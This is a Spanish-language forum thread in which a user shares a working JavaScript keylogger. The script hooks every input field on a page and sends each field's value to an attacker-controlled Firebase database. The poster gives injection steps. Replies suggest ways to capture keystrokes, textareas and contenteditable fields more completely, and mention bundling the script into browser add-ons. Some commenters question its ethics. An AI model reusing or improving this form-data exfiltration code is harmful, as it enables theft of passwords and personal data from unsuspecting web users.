javascript Keylogger

Iniciado por ike array, 15 Diciembre 2016, 15:09 PM

0 Miembros y 1 Visitante están viendo este tema.

ike array

Bueno, básicamente les voy a dejar un código que desarrollé, muy simple de hecho, igual les voy a explicar cómo usarlo, si bien es cierto que se podría mejorar y mucho, así está hasta ahora, quizás siga trabajando en él, quizás no, pero les voy a compartir lo que va.

"strict";

var input = document.querySelectorAll("input"); //Selecciona todos los imput del navegador

function saveLocal(e) {
    var url = "https://****.firebaseio.com/.json"; //Deben crear una base de datos en firebase y poner la URL acá
    var method = "PATCH"; //Metodo HTTP
    /*El e.srcElement trae el campo id="idEjemplo" y el this.value su valor el resultado sería algo como:
        tel: 30123021
     */
    var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
    //XMLHttpRequest es un método usado en javascript para hacer peticiones HTTP como POST, GET, Etc, etc.
    var request = new XMLHttpRequest();
    request.onload = function () {

        /*Ya acá se pueden obtener muchos tipos de respuestá del HTTP, ésto no es parte del keylogger en sí
            Pero es útil si quieren ver info de la transacción en la consola
         */
        var status = request.status; //respuesta del status HTTP, e.j., 200 for "200 OK"
        var data = request.responseText; // Datos que retorna, e.j., un documento HTML o un JSON.
        console.log(status);
        console.log(data);
    } //El onload es un evento que se lanza cuando la petición se carga
    //Abre la petición, especifica el método, envía la URL y el false es para indicar que es sincrona
    request.open(method, url, false);
    //Luego de que la petición está abierta envía la info, en éste caso el log de los inputs
    request.send(postData);
}

for (var i = 0; i < input.length; i++) {
    //Añade a cada input un evento que escucha cuándo alquien sale de la casilla y llama a la función saveLocal
    input[i].addEventListener("blur", saveLocal);
}//Loop por cada item en input


Necesitarán una URL de una base de datos, la crean acá http://firebase.google.com
Para inyectar el código lo único que tienen que hacer es abrir la consola "click derecho inspeccionar elemento de ahí en la tab de consola, en el navegador", copiar y pegar el código ya con su URL, cierran la consola y ya está, si cierran la página se pierden los cambios, si refrescan también. Espero les guste. SaluDDOS
Can you save my heavy dirty soul?

ThinkByYourself

#1
Dos cosillas.

Primero, vale la pena usar JSON.stringify en lugar de cruda concatenación.

Es decir, en lugar de:
Código (javascript) [Seleccionar]
var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';


Valdría la pena hacer:
Código (javascript) [Seleccionar]
var postDataObj = {};
postDataObj[e.srcElement.id] = this.value;
var postData = JSON.stringify(postDataObj);


Por el value, que puede llevar cualquier cosa.

Y luego, si quieres un keylogger, el evento en lugar de "blur" sería mejor un "change", o un "keypress", o un "keydown", o un "keyup". Pero el "blur" serviría en la mayoría de casos, no sé si en todos...

Es lo que creo. Por lo demás lo veo bien, el método PATCH no lo he usado nunca, no sé si es un requisito de Firebase (que tampoco, creo que es de pago, ¿no?). Pero sí, un bonito keylogger para cualquier página en JS plano.

Saludos
No te voy a engañar.
Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.

ike array

Sí, se ve más organizado así, tomaré nota para modificarlo.

Por otro lado, aclaro que Firebase it's free hasta cierto punto, pero para éste ejercicio 100% recomendada

El patch en éste caso funciona mejor que el post, pero podrías usar un post, aclarando lo del blur, probé con todos los otros eventos y para mi fue el que mejor funcionó

Saludos y gracias por el feedback :)
Can you save my heavy dirty soul?

[u]nsigned

Gracias por el aporte!!

Pero creo que debería ir en la Categoría Hacking Básico y no en desarrollo web, mas aún si lo presentas como un keylogger...

Y por otro lado, como programador web y webmaster que soy, no le veo un uso ético a esto. (pequeña critica constructiva, espero no la tomes a mal)

Saludos

No hay atajo ante la duda, el misterio se hace aquí...
Se hace carne en cada uno, el misterio es existir!

sommer

Buen aporte pero igualmente con el comentario anterior no es algo etico y no le veo la funcionalidad a este codigio porque soy programador web orientado a Black-End aunque la unica funcionalidad que le veo a este codigo es tan solo aprender mas javascript y poder evitar este tipo de codigo evitando que se inyecten en las paginas web pero como dijo siempre " la informacion es libre " cada quien la usa para un proposito diferente.

ThinkByYourself

Ojo. Podrían escaparse los contenteditable=true y los textareas. Y no sé si habrá alguno más.

Sí hombre, usos éticos  para monitorizar la experiencia de usuario. O para llevar un registro de los formularios que se van llenando.

Usos malos también. A mí me viene a la cabeza como complemento para cualquier addon que se preste.

Saludos
No te voy a engañar.
Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.